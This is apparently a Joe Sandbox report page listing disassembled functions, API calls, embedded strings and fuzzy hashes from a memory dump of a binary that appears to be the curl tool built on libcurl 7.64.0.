Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: ----$----$----$----$----
API String ID: 160209724-1149513683
Opcode ID: cc556c3099bedee9fc039d5097343daf28ada7ba22aed04b781e67944d8babbf
Instruction ID: d3a4dd99a975a10dea33fcc89a77e3fbf49be6f4c962d1f08188f7b790c62867
Opcode Fuzzy Hash: cc556c3099bedee9fc039d5097343daf28ada7ba22aed04b781e67944d8babbf
Instruction Fuzzy Hash: 5AD17BB19003019FEB24CF15D984B26BBE4BF44308F194568ED499B352E7B6E958CFE2

Function 00D15750 Relevance: 12.1, APIs: 8, Instructions: 143stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00D15766
calloc.MSVCRT ref: 00D15787
_fileno.MSVCRT ref: 00D157BB
ftell.MSVCRT ref: 00D157D1
_fstati64.MSVCRT(00000000,?), ref: 00D157EE
free.MSVCRT ref: 00D158CF
free.MSVCRT ref: 00D158D8

Part of subcall function 00D322F0: _stati64.MSVCRT(00D15779,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00D32377
Part of subcall function 00D322F0: _access.MSVCRT ref: 00D32387
Part of subcall function 00D322F0: strrchr.MSVCRT ref: 00D32427
Part of subcall function 00D322F0: strrchr.MSVCRT ref: 00D32438

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: freestrrchr$_access_fileno_fstati64_stati64callocftellstrcmp
String ID:
API String ID: 3818478975-0
Opcode ID: a67dfa939d0961db52ee20e32d1eb1efd8c3d13026fee1cb208d6012167114b2
Instruction ID: 4ff40a468da86698f130a6d42a13a8fb41222616f213e1456e366eb940140346
Opcode Fuzzy Hash: a67dfa939d0961db52ee20e32d1eb1efd8c3d13026fee1cb208d6012167114b2
Instruction Fuzzy Hash: 8D41D6F1E00611BBFB006B65BC02B66B6A8AF84355F080535F849D7241FB69E96497F3

Function 00D30380 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 319COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00D3041C
memmove.MSVCRT(?,?,?), ref: 00D30459
memcpy.MSVCRT(?,?,?), ref: 00D30508

Strings

%zd data bytes written, xrefs: 00D3051D
nghttp2_session_mem_recv() returned %zd:%s, xrefs: 00D305F0
Q, xrefs: 00D306B4
Failed receiving HTTP2 data, xrefs: 00D307F7

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy$memmove
String ID: %zd data bytes written$Failed receiving HTTP2 data$Q$nghttp2_session_mem_recv() returned %zd:%s
API String ID: 1283327689-1364855282
Opcode ID: c18bc33af8bfa2f80959ea560ff9f7ea90615c473d83e225f0803f4885206417
Instruction ID: cd2c49f5626d19f8b8be441a41cc8273d39d2173d12cc28c5590d4d95aac6af0
Opcode Fuzzy Hash: c18bc33af8bfa2f80959ea560ff9f7ea90615c473d83e225f0803f4885206417
Instruction Fuzzy Hash: 91D17B74604705AFD314EF24C895BAABBE4FF84304F184578E8998B252E771ED94CFA2

Function 00D32FE0 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D330A0
memcpy.MSVCRT(?,?,00000002), ref: 00D330E4
memmove.MSVCRT(?,?,?), ref: 00D3319E
memcpy.MSVCRT(?,?,00000002,?,00000000,?,?,00000000,00D32CAD,?), ref: 00D33258
fclose.MSVCRT ref: 00D3331E

Strings

Content-Type, xrefs: 00D3305A

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy$fclosememmovestrlen
String ID: Content-Type
API String ID: 3890074660-2058190213
Opcode ID: e8f5d23357aa99cb65cac8e45311c58c2ea67b4e13c5963e15dd13417af7dd12
Instruction ID: 38e39563642cb1d9a459b0d69a7979f4366d98ddf6db51abf4365ba995064818
Opcode Fuzzy Hash: e8f5d23357aa99cb65cac8e45311c58c2ea67b4e13c5963e15dd13417af7dd12
Instruction Fuzzy Hash: 0F91B0B550870AAFD710DF65CA84B67B7E4FF04304F084528E84587640E7B5EE68CBE5

Function 00D655E0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 151stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D6563D
strlen.MSVCRT ref: 00D65652
strchr.MSVCRT ref: 00D65669
strchr.MSVCRT ref: 00D656AA
strchr.MSVCRT ref: 00D656BC
strchr.MSVCRT ref: 00D656FC

Strings

xn--, xrefs: 00D656CE

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strchr$strlen
String ID: xn--
API String ID: 842768466-2826155999
Opcode ID: a348e8766716b794dbe6d0ef5712f8840274b6cedf85985cf0e0897bc0532100
Instruction ID: a7060eb54e65816481b6a23a68128474d9580f73b1c76df1376cdfe6cae776e0
Opcode Fuzzy Hash: a348e8766716b794dbe6d0ef5712f8840274b6cedf85985cf0e0897bc0532100
Instruction Fuzzy Hash: 88412995A44B4567FB216675BE4AF3B368CCF51388F0C0038FC4AC128AFE55E995C2B2

Function 00D21AF0 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D21B32

Part of subcall function 00D38AE0: memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00D21C39,OpenSSL/1.1.1a (Schannel),00000050,00D1EECE,00000004,?,?,?,00D18BA3), ref: 00D38B9B

Strings

%u.%u.%u, xrefs: 00D21BBA
brotli/, xrefs: 00D21B85
zlib/%s, xrefs: 00D21B72
WinIDN, xrefs: 00D21BCD
libssh2/%s, xrefs: 00D21BEB
libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0, xrefs: 00D21B2D, 00D21B78, 00D21B90, 00D21BC0, 00D21BD3, 00D21BF1, 00D21BFF, 00D21C11

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpystrlen
String ID: WinIDN$ brotli/$ libssh2/%s$ zlib/%s$%u.%u.%u$libcurl/7.64.0 OpenSSL/1.1.1a (Schannel) zlib/1.2.11 brotli/1.0.7 WinIDN libssh2/1.8.0 nghttp2/1.36.0
API String ID: 3412268980-1275948520
Opcode ID: e6de577e955756a4dd94dc2abafe8e7609b13993acaf4110a55781d3ab35b778
Instruction ID: ec7c3d2b5beb39b560b2aa139856544028665b05d13b893a0447d69267807d91
Opcode Fuzzy Hash: e6de577e955756a4dd94dc2abafe8e7609b13993acaf4110a55781d3ab35b778
Instruction Fuzzy Hash: D3212877A001513AF72063756C0AAB73998CBE1748F490238F80452986FAFE5618A3F2

Function 00D46FB0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75filestringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D47002
strlen.MSVCRT ref: 00D47039
fwrite.MSVCRT ref: 00D47087
fwrite.MSVCRT ref: 00D47099

Strings

..., xrefs: 00D47028
..., xrefs: 00D47018

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: fwritestrlen
String ID: ...$...
API String ID: 735340043-2253869979
Opcode ID: 4a8cbce020f46b632eef3a8230447a1070935949d22f543a0b434375907143d0
Instruction ID: b2f97c35ff0d0daf4a5458b23ed30c11fafdf6f424b0a0db05d024d6a7c450fa
Opcode Fuzzy Hash: 4a8cbce020f46b632eef3a8230447a1070935949d22f543a0b434375907143d0
Instruction Fuzzy Hash: 7A210BB2A457007BEA7066209C47FABB5A8FF51705F184428F588211C2FB76655497F3

Function 00D318C0 Relevance: 10.6, APIs: 7, Instructions: 73COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00D31909
VerSetConditionMask.KERNEL32(00000000,00000000,00000002,?), ref: 00D3193C
VerSetConditionMask.KERNEL32(00000000,?,00000001,?), ref: 00D31943
VerSetConditionMask.KERNEL32(00000000,?,00000020,?,?,00000001,?), ref: 00D3194D
VerSetConditionMask.KERNEL32(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00D31954
VerSetConditionMask.KERNEL32(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00D31960
VerifyVersionInfoA.KERNEL32(?,00000033,00000000), ref: 00D3196D

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 3135dc8e0153ca79b2116723f1f995bda27e6bd11df4f488982e609dfa010f8c
Instruction ID: aa85380c97688d9ec2e29c89cb4bae37fe6625785b6c11cced13fb372376a5d4
Opcode Fuzzy Hash: 3135dc8e0153ca79b2116723f1f995bda27e6bd11df4f488982e609dfa010f8c
Instruction Fuzzy Hash: FF11D0B9A403047BF2305A30AC09F7B7BACEBC4B54F05481CF5889B2C1C2B7A8048B71

Function 00D1E6F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00D1E708
strrchr.MSVCRT ref: 00D1E71B
strrchr.MSVCRT ref: 00D1E728
_strdup.MSVCRT(?), ref: 00D1E750
free.MSVCRT ref: 00D1E770

Strings

://, xrefs: 00D1E702

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strrchr$_strdupfreestrstr
String ID: ://
API String ID: 1310700620-1869659232
Opcode ID: ab94607d90f43a985477a2c92d0fbb48fea52a3129ed4f11164120c989dfa86f
Instruction ID: a44b07c3a8c74b3c032a2c5814123d625bf256b24254119aa9d837112e581bcd
Opcode Fuzzy Hash: ab94607d90f43a985477a2c92d0fbb48fea52a3129ed4f11164120c989dfa86f
Instruction Fuzzy Hash: 331170F6A002126BFF216A25AC42BAB7B988F40760F180536FD05D7281FA65DD5496F2

Function 00D19740 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(APPDATA,?,00000400), ref: 00D1975C
strchr.MSVCRT ref: 00D19775
ExpandEnvironmentStringsA.KERNEL32(APPDATA,?,00000400), ref: 00D1978A
strchr.MSVCRT ref: 00D1979B
_strdup.MSVCRT(?), ref: 00D197BF

Strings

APPDATA, xrefs: 00D1975B, 00D19774, 00D19789

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: Environmentstrchr$ExpandStringsVariable_strdup
String ID: APPDATA
API String ID: 69599419-4054820676
Opcode ID: b506636ca22d5ac6c8a4790dc55f1b10e0cc3412fd8de7a5a6ab6ad48135b304
Instruction ID: 27c3b3657d03e18c9cfeb73fec57e6d8bbbab3e1cecb984d2f5727122e898cda
Opcode Fuzzy Hash: b506636ca22d5ac6c8a4790dc55f1b10e0cc3412fd8de7a5a6ab6ad48135b304
Instruction Fuzzy Hash: 5A01F5B2A502453BFB3125357CA9BFAB08CCF41355F180039FA4A961D1F92A88C982B2

Function 00D19550 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 49COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00D19572
printf.MSVCRT ref: 00D19597
puts.MSVCRT ref: 00D195B3

Strings

<none>, xrefs: 00D195AE
Build-time engines:, xrefs: 00D1956D
%s, xrefs: 00D19592

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: puts$printf
String ID: %s$ <none>$Build-time engines:
API String ID: 1383214260-2903797034
Opcode ID: 433a0b8e2fe780f80b076dd4e920f96f5cc0da5cae366d9049e8061af992fca2
Instruction ID: 2f648610b15992be97823fdc6551675ffbf17a12cf1f4f605af1daefc6895d9f
Opcode Fuzzy Hash: 433a0b8e2fe780f80b076dd4e920f96f5cc0da5cae366d9049e8061af992fca2
Instruction Fuzzy Hash: B1F054F0A08200ABEF10BB64EC22E1AB6D59F95744F140925F484D7351FA66E954A673

Function 00D2F190 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 339COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?), ref: 00D2F502

Strings

failed to duplicate handle, xrefs: 00D2F552
Internal NULL stream!, xrefs: 00D2F562
failed to set user_data for stream %d, xrefs: 00D2F6AE
failed to add handle to multi, xrefs: 00D2F5FB
Connection state changed (MAX_CONCURRENT_STREAMS == %u)!, xrefs: 00D2F259

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcpy
String ID: Connection state changed (MAX_CONCURRENT_STREAMS == %u)!$Internal NULL stream!$failed to add handle to multi$failed to duplicate handle$failed to set user_data for stream %d
API String ID: 3510742995-3583929766
Opcode ID: dbbb7adac718a108a50ca388e86bf5e222b40abc760c80c6cbcece207185f91c
Instruction ID: 132db3561f1d9f6beda3fae21c1171ba56e2b1120df71d55b0c9b01d6650f697
Opcode Fuzzy Hash: dbbb7adac718a108a50ca388e86bf5e222b40abc760c80c6cbcece207185f91c
Instruction Fuzzy Hash: 7DD1ADB19003109BE720EF24EC85BEB77B4AF54318F084978E85D9B292E775E914CBB1

Function 00D68B80 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 244stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00D68B98
strchr.MSVCRT ref: 00D68BF3
strlen.MSVCRT ref: 00D68C23
memcpy.MSVCRT(000000010000017C,?,00000000), ref: 00D68C3F

Strings

%s?dns=%s, xrefs: 00D68D02
Failed to encode DOH packet [%d], xrefs: 00D68CD9

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: strlen$memcpystrchr
String ID: %s?dns=%s$Failed to encode DOH packet [%d]
API String ID: 2999326979-3030351490
Opcode ID: 648415151a1375222577cb489e02dfa55c440b85ad925463fd3bcbd0d13cea2a
Instruction ID: 25edccfb44efca809157712e7f9943c721c726f65b106f39c0dcd28dd824d9d5
Opcode Fuzzy Hash: 648415151a1375222577cb489e02dfa55c440b85ad925463fd3bcbd0d13cea2a
Instruction Fuzzy Hash: 788171B1904304AFEB109F14EC46B5B77E5EF94348F088528F95896253FB72D918EB72

Function 00D2F8B0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON

Download Yara Rule

APIs

memcmp.MSVCRT(:status,?,00000007), ref: 00D2FA69

Strings

%s:%s, xrefs: 00D2FA2B
Internal NULL stream! 5, xrefs: 00D2F940
HTTP/2 , xrefs: 00D2FB2E
:status, xrefs: 00D2FA64
, xrefs: 00D2FB5B

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: memcmp
String ID: $%s:%s$:status$HTTP/2 $Internal NULL stream! 5
API String ID: 1475443563-2461269821
Opcode ID: 75d5e40fc110cc4fd001c1834c03cd5e74a3c7bb4389d3f62ca32ea322fea4e6
Instruction ID: a701c3ca0e2f4c9e3094dbab1b2fb8ffcf9069ff79c0a104d8a76f60f5672ac9
Opcode Fuzzy Hash: 75d5e40fc110cc4fd001c1834c03cd5e74a3c7bb4389d3f62ca32ea322fea4e6
Instruction Fuzzy Hash: B471F571A40350ABE7109B21FC85F9A37BAAB6075CF4C4939FC489B287F275D9048B71

Function 00D2DC60 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00D5CD00: getaddrinfo.WS2_32(?,?,?), ref: 00D5CD23
Part of subcall function 00D5CD00: freeaddrinfo.WS2_32(?,?,?,?), ref: 00D5CE62

WSAGetLastError.WS2_32 ref: 00D2DC9C
WSAGetLastError.WS2_32 ref: 00D2DCA6
EnterCriticalSection.KERNEL32(?), ref: 00D2DCBD
LeaveCriticalSection.KERNEL32(?), ref: 00D2DCCF
DeleteCriticalSection.KERNEL32(00000000), ref: 00D2DCDC
LeaveCriticalSection.KERNEL32(?), ref: 00D2DD86

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
